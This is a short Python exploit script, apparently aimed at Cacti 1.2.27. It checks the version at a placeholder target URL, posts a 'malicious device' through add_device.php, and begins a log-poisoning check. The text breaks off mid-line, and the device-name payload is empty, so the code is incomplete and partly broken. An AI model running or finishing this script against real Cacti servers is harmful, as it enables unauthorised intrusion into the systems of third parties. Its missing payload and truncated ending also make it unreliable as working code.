import requests url = "http://target-cacti-site.com/cacti" def check_version(url): try: response = requests.get(url + "/version.php") if response.status_code == 200 and "1.2.27" in response.text: print("[!] The site is running a vulnerable version of Cacti.") else: print("[*] The site might not be vulnerable or it is updated to a secure version.") except Exception as e: print(f"[!] Error connecting to the site: {e}") def create_malicious_device(url, session, token): device_name = "" data = { "device_name": device_name, "token": token } try: response = session.post(url + "/add_device.php", data=data) if response.status_code == 200: print("[!] Malicious device created successfully.") else: print("[!] Failed to create malicious device.") except Exception as e: print(f"[!] Error creating device: {e}") def check_log_poisoning(url, session): try: log_url = url + "/log.php" response = session.get(log_url) if "